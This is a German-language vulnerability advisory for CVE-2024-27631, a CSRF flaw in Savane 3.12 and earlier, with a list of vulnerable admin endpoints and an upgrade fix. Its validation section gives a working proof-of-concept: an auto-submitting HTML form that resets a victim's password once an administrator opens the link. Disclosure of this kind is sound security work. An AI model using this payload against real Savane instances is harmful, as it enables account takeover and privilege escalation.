CVE-2024-27631 Details zur Schwachstelle

Überblick

In Savane v3.12 und früher kann ein fehlender CSRF-Schutz bei administrativen Funktionen eine Privilegieneskalation und/oder die Übernahme von Konten ermöglichen. Insbesondere der Endpunkt /siteadmin/usergroup.php enthält die Funktionalität, Passwörter und administrative Flags anderer Benutzer zu ändern, wodurch ein Angreifer sich effektiv selbst zum Administrator machen kann.

Weitere nennenswerte Endpunkte, die anfällig für CSRF sind, sind:

• /support/admin/userperms.php - Ändert die Berechtigungen dafür, wer in einem Tracker Beiträge veröffentlichen kann.
• /project/admin/conf-copy.php - Überschreibt die bestehende Konfiguration einer Gruppe mit einer Kopie einer anderen Gruppe.
• /project/admin/editgroupnotifications.php - Bearbeitet Gruppenbenachrichtigungen. Private Einträge können an öffentliche Mailinglisten gesendet werden.
• /project/admin/useradmin.php - Entfernt Benutzer aus einer Gruppe.
• /news/admin/index.php - Bearbeitet die E-Mail-Adresse des News-Trackers.
• /people/editjob.php - Fügt einen Job für eine Gruppe hinzu.

CWE-Klassifizierung: CWE-352: Cross-Site Request Forgery (CSRF)

Gemeldet von: Ally Petitt

Betroffenes Produkt: Savane

Betroffene Versionen: 3.12 und früher

Validierungsschritte

Dies ist ein Proof-of-Concept (PoC) zum Ändern des Passworts eines anderen Benutzerkontos als Weg zur Übernahme des Kontos.

1. Wählen Sie ein Opfer-Benutzerkonto aus, dessen Passwort geändert werden soll.
2. Notieren Sie die userID von der Profilseite des Opfers (/users/<username>).
3. Erstellen Sie die folgende schädliche Webseite und ersetzen Sie user_id durch die Benutzer-ID des Opfers und <savane_instance> durch die zutreffende Domain bzw. Host-Adresse.

<form id="autosubmit" action="http://<savane_instance>/siteadmin/user_changepw.php" method="POST">

    <input name="form_pw" type="hidden" value="Password1!" />
    <input name="form_pw2" type="hidden" value="Password1!" />
    <input name="user_id" type="hidden" value="<user_id>" />
    <input name="update" type="hidden" value="Update" />
    <input type="submit" value="Submit Request" />
</form>

<script>
document.getElementById("autosubmit").submit();
</script>

4. Hosten Sie die schädliche HTML-Seite auf einem Webserver und senden Sie den Link an einen Administrator (dieser muss sich für den Erfolg im Superuser-Modus befinden).
5. Nachdem der Link angeklickt wurde, melden Sie sich mit dem äußerst sicheren Passwort Password1! am Konto des Opfers an.

Beachten Sie, dass dieses PoC-Skript auf Firefox v103.0 (64-Bit) getestet wurde.

Gegenmaßnahmen

Aktualisieren Sie auf Savane Version 3.13 oder höher. Den Patch finden Sie hier.